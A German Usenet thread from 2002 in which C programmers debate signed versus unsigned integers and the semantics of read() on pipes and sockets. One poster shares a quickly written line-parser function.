Scripsit ille Rainer Weikusat <weik...@students.uni-mainz.de>:

Wenn es einen gibt, steht er im Kommentar oder sonstwie klar im Code
drin. Es tut nicht weh, sowas wie

#ifdef SIGNED_INT_DIVIDES_FASTER
typedef signed int fast_div_int;
#else
typedef unsigned int fast_div_int;
#endif

oder notfalls noch

signed i; /* using signed because it's faster on CPU XY */

zu schreiben. Ersteres könnte man sogar, wenn es denn unbedingt sein
muss, per configure-Skript überprüfen (dann aber auch per Option
überschreibbar machen). Für irgendwas muss autoconf doch gut sein, und
bei einem üblichen 10minütigen configure-Lauf (das make dauert dann so
drei Minuten) fallen die 10 bis 20 Sekunden CPU-Zeit dafür auch nicht
auf. Wenn man schon Zeit verschwenden will, dann bitte richtig. Und
genau dafür ist autoconf da. Wenn mein Programm sich nur auf POSIX und
eine Library verlässt, muss es auch nur die Library prüfen und nicht
erst 30 POSIX-konforme Testprogramme zu kompilieren versuchen. Zumindest
nicht, wenn man keine Würgarounds für nichtkonforme Systeme
bereitstellt - wenn's nicht geht, geht's nun mal nicht.

Rainer Weikusat

unread,
Aug 19, 2002, 4:38:34 PM8/19/02
to
Rainer Weikusat <weik...@students.uni-mainz.de> writes:
> hjp-u...@hjp.at (Peter J. Holzer) writes:
> > Davon, dass read auch weniger Bytes zurückliefern kann als das Maximum,
> > auch wenn kein EOF eintritt. Insbesondere, wenn Du von Sockets oder
> > Pipes liest, musst Du damit rechnen, dass die Daten in beliebiger
> > Stückelung daherkommen.
> >
> > Ich ziehe übrigens den Nebensatz mit beginnend mit "sobald ..." zurück.
> > Da wird Dein Programm reinrasseln. Punkt.

[...]

> The value returned may be less than nbyte if the number of
> bytes left in the file is less than nbyte, if the read()
> request was interrupted by a signal, or if the file is a pipe
> or FIFO or special file and has fewer than nbyte bytes
> immediately available for reading.

Und wg PIPE_BUF et al (mindestens 512) gibt es eine Garantie, das die
Schreiboperation des httpd atomic ist.

Immo 'FaUl' Wehrenberg

unread,
Aug 19, 2002, 9:08:18 PM8/19/02
to
begin followup to the posting of Rudolf Polzer

> Scripsit ille Rainer Weikusat <weik...@students.uni-mainz.de>:
>> Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
>> > Angeblich gibt es Prozessoren, auf denen gewisse signed-Operationen
>> > schneller laufen als die entsprechenden unsigned-Operationen. Dann
>> > hätte man einen Grund.
>>
>> ... ach ja: Und man macht keine bestußten 'Optimierungen' im
>> Promille-Bereich, außer es gibt einen wirklich guten Grund dafür.
>
> Wenn es einen gibt, steht er im Kommentar oder sonstwie klar im Code
> drin. Es tut nicht weh, sowas wie
>
> #ifdef SIGNED_INT_DIVIDES_FASTER
> typedef signed int fast_div_int;
> #else
> typedef unsigned int fast_div_int;
> #endif

Schoen. Wo war doch gleich der Grund per default signed zu nehmen?

FaUl
end
This article does not support incompatible and broken newsreaders.
--

Warte drauf das ist es der Anfang, jetzt kommt XP = eXtreme Profit.
[KJ in einer Privaten E-Mail]

Rudolf Polzer

unread,
Aug 20, 2002, 4:06:45 AM8/20/02
to
Scripsit ille Immo 'FaUl' Wehrenberg <im...@faul.dyndns.org>
> begin followup to the posting of Rudolf Polzer
> > Scripsit ille Rainer Weikusat <weik...@students.uni-mainz.de>:
> >> Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
> >> > Angeblich gibt es Prozessoren, auf denen gewisse signed-Operationen
> >> > schneller laufen als die entsprechenden unsigned-Operationen. Dann
> >> > hätte man einen Grund.
> >>
> >> ... ach ja: Und man macht keine bestußten 'Optimierungen' im
> >> Promille-Bereich, außer es gibt einen wirklich guten Grund dafür.
> >
> > Wenn es einen gibt, steht er im Kommentar oder sonstwie klar im Code
> > drin. Es tut nicht weh, sowas wie
> >
> > #ifdef SIGNED_INT_DIVIDES_FASTER
> > typedef signed int fast_div_int;
> > #else
> > typedef unsigned int fast_div_int;
> > #endif
>
> Schoen. Wo war doch gleich der Grund per default signed zu nehmen?

"Per Default" gibt es keinen - ich frage mich übrigens auch, warum int
üblicherweise signed sein muss und nicht unsigned. Das wurde in Turbo
Pascal besser gelöst, wo der optimale signed-Typ einen längeren Namen
hatte als der optimale unsigned-Typ (integer vs. word) [dafür hat man
aber den unsigned long vergessen].

Es gibt höchstens einen in inneren Schleifen bei komplizierten
Berechnungen, bei denen man tatsächlich einen Grund dafür
hat. Dann sollte man diese "Optimierung" aber auch dokumentieren.

Vielleicht wäre es für solche Fälle sogar sinnvoll, dem Compiler zu
sagen, dass die Variable nur einen gewissen Wertebereich hat, so dass er
das beim Optimieren ausnutzen kann. Also sowas wie

unsigned int __attribute((range (0, INT_MAX))) x;

Wenn der Optimizer nun der Meinung ist, dass bei einer gewissen
Rechenoperation die signed-Variante schneller ist, kann er diese nun
verwenden, wenn der signed-Typ beim angegebenen Wertebereich dieselbe
Repräsentation wie 'unsigned int' hat. Erzeugt man dagegen das Programm
mit höchsten Debuggingeinstellungen, werden Bereichsüberschreitungen zur
Laufzeit überprüft.

--
Ritsuko: "You cooked this, didn't you Misato?"
Misato: "Oh, can you tell?"
Ritsuko: "Yes, by its taste."

Rainer Weikusat

unread,
Aug 20, 2002, 4:19:08 AM8/20/02
to
Rudolf Polzer <AntiATFiel...@durchnull.de> writes:
> Wenn der Optimizer nun der Meinung ist, dass bei einer gewissen
> Rechenoperation die signed-Variante schneller ist, kann er diese nun
> verwenden, wenn der signed-Typ beim angegebenen Wertebereich dieselbe
> Repräsentation wie 'unsigned int' hat. Erzeugt man dagegen das Programm
> mit höchsten Debuggingeinstellungen, werden Bereichsüberschreitungen zur
> Laufzeit überprüft.

... und wenn sie nicht gestorben sind, leben sie heute noch.

#include <stdio.h>

int main()
{
unsigned b;
int a;

a = 5;
b = (unsigned)-3;
a += (int)b;
printf("%d %x %u %x\n", b, b, a, a);
return 0;
}

'und außerdem' scheint die Sonne Nachts selten. Das ist aber
merkwürdig.

F'up2 poster

Rolf Magnus

unread,
Aug 20, 2002, 5:38:54 AM8/20/02
to
Immo 'FaUl' Wehrenberg wrote:

> Schoen. Wo war doch gleich der Grund per default signed zu nehmen?

Wenn ich die Enwände gegen unsigned richtig verstanden habe, ist es keine
gute Idee, signed und unsigned zu mischen. Da man aber immer mal irgendwo
(für irgendwelche Differenzen oder so) auch negative Werte braucht, nimmt
man besser immer signed, es sei denn, man ist auf den größeren positiven
Wertebereich absolut angewiesen oder man hat vor, Bitspielereien zu machen.

PS: Was war denn nun eigentlich der Grund, per default unsigned zu nehmen?

Peter J. Holzer

unread,
Aug 24, 2002, 8:07:21 PM8/24/02
to
On 2002-08-19 20:38, Rainer Weikusat <weik...@students.uni-mainz.de> wrote:
> Rainer Weikusat <weik...@students.uni-mainz.de> writes:

[CGI-Programm liest Body eines Post-Requests mit einem einzigen read]

>> The value returned may be less than nbyte if the number of
>> bytes left in the file is less than nbyte, if the read()
>> request was interrupted by a signal, or if the file is a pipe
>> or FIFO or special file and has fewer than nbyte bytes
>> immediately available for reading.
>
> Und wg PIPE_BUF et al (mindestens 512) gibt es eine Garantie, das die
> Schreiboperation des httpd atomic ist.

Du hast aber keine Garantie, dass das in einer einzigen Schreiboperation
geschrieben wird. also ist irrelevant, ob eine Schreiboperation atomic
ist oder nicht. Abgesehen davon gilt das nur für Pipes, nicht für
Sockets.

Rainer Weikusat

unread,
Aug 24, 2002, 11:40:48 PM8/24/02
to
hjp-u...@hjp.at (Peter J. Holzer) writes:
> > Und wg PIPE_BUF et al (mindestens 512) gibt es eine Garantie, das die
> > Schreiboperation des httpd atomic ist.
>
> Du hast aber keine Garantie, dass das in einer einzigen Schreiboperation
> geschrieben wird. also ist irrelevant, ob eine Schreiboperation atomic
> ist oder nicht.

Ich habe jetzt gerade keinen Bedarf an Dummgelalle von 'Vollprofis',
deswegen wird das kurz (Gehirn bitte *jetzt* einschalten): Aus
praktischen Gründen gibt es für jede IPC-Operation, die 'extern
unstrukturierte' Daten transportiert eine untere Grenze der
übertragenen Datenmenge, ab der sie 'in einem Zug' durchgeführt
wird. Du mußt auch nicht kapieren, wie das im einzelnen vor sich geht,
denn Du könntest das _nachlesen_ (en detail: Apache & NetBSD) und die
konkrete Größe exakt ermitteln.

Ich weiß (empirisch und auf der Basis von ein paar Vermutungen), das
ich im konkreten Fall _immer_ unterhalb dieses limits bleibe (es gibt
nämlich eine Diagnosemeldung dafür, die genau dem Zweck dient,
demjenigen, der für das Programm zuständig ist, mitzuteilen 'that the
code needs updating here' [freeradius], die in zweijährigem
Dauerbetrieb bei mehreren tausend Ausführungen _pro Tag_ nicht einmal
aufgetreten ist. Deswegen wurde das bis jetzt auch nicht gemacht).

> Abgesehen davon gilt das nur für Pipes, nicht für
> Sockets.

... und eine 'Bibliotheksfunktion', die auch nur einem entfernen
Anspruch auf 'Allgemeinverwendbarkeit' genügt hätte, hatte ich nicht
implementiert.

Würdest Du jetzt freundlicherweise den Wisch, der Dich in Deinen Augen
berechtigt, öffentlich damit anzugeben, was Du alles nicht kannst,
panieren, braten, ggf mit Zitronensaft bestäuben und aufessen? Das ist
produktiver, als wenn ich meine Zeit damit verschwende, Dir Dinge zu
erklären, die Du mir wg erstgenanntem ohnehin nicht glauben wirst.

... und keine Panik: In spätestens einem halben Jahr gehe ich auch
wieder brav Kisten schleppen, wie sich das für 'Ungelernte' so gehört.

Rainer Weikusat

unread,
Aug 24, 2002, 11:54:50 PM8/24/02
to
hjp-u...@hjp.at (Peter J. Holzer) writes:
> Rainer Weikusat <weik...@students.uni-mainz.de> wrote:
> > Und wg PIPE_BUF et al (mindestens 512) gibt es eine Garantie, das die
> > Schreiboperation des httpd atomic ist.
>
> Du hast aber keine Garantie, dass das in einer einzigen Schreiboperation
> geschrieben wird, also ist irrelevant, ob eine Schreiboperation atomic

> ist oder nicht. Abgesehen davon gilt das nur für Pipes, nicht für
> Sockets.

... und erst recht nicht für 'IP over avian carriers'. Falls ich in
die (unwahrscheinliche) Verlegenheit kommen sollte, Programmierer-Jobs
zu vergeben, bekämest Du schon mal keinen :->.

F'up2 poster & plonk wegen Gefasel.

Rainer Weikusat

unread,
Aug 25, 2002, 1:25:26 AM8/25/02
to
hjp-u...@hjp.at (Peter J. Holzer) writes:

[...]

Mal so:

int parse_line(unsigned char *line, unsigned char **cmd,
size_t **clen, unsigned char **arg)
{
int c;
size_t cl;

/*
skip leading whitespace, detect
comments & blank lines
*/
while (1) {
c = *line;
switch (c) {
case '#':
case '\n':
return 0;

case 0:
return -1;
}

if (!ispace(c)) break;
++line;
}

/*
isolate command
*/
*cmd = line;
cl = 1;
while (1) {
c = *++line;
switch (c) {
case '\n':
case 0:
return -1;

case ':':
*line = 0;
goto out;
}

++cl;
}
out:
*clen = cl;

/*
skip whitespace until arg
*/
while (1) {
c = *++line;
if (c == '\n' || !c) return -1;
if (!isspace(c)) break;
}
*arg = line;

/*
isolate arg
*/
while (1) {
c = *++line;
if (!c) return -1;
if (c == '\n' || isspace(c)) {
*line = 0;
break;
}
}

return 1;
}

Allerdings ohne embedded spaces (und runtergeschrieben, durch strtok
ersetzbar etc), dafür mit Fehlerbehandlung für 'cannot happen', was
bekanntlich Wichtig[tm] ist. Für Zeiger-Agnostiker sieht
das wahrscheinlich häßlich aus, aber es ermöglicht dann später sowas:

/*
a macro behaves like a macro ...
*/
#define cmdeq(cr, cc, cl) (sizeof(cc) == (cl + 1) && \
memcmp(cr, cc, cl) == 0)

while ([fgets]) {
switch (parse_line(line, &cmd, &clen, &arg)) {
case 0:
continue;

case -1:
/* handle invalid input */
}

if (cmdeq(cmd, "command", clen)) {
/* do sth w/ arg */
continue;
}

usf, was der Lesbarkeit des Codes entgegenkäme und ein
Hinzufügen neuer Schlüsselworte ohne den Parser zu
demolieren vereinfachen würde ('prinzipiell' gilt dasselbe für eine
Änderung der Grammatik, aber wahrscheinlich wäre das interface dafür
nicht flexibel genug). Der 'Kochrezeptansatz' 'skaliert' nur
begrenzt.

0 new messages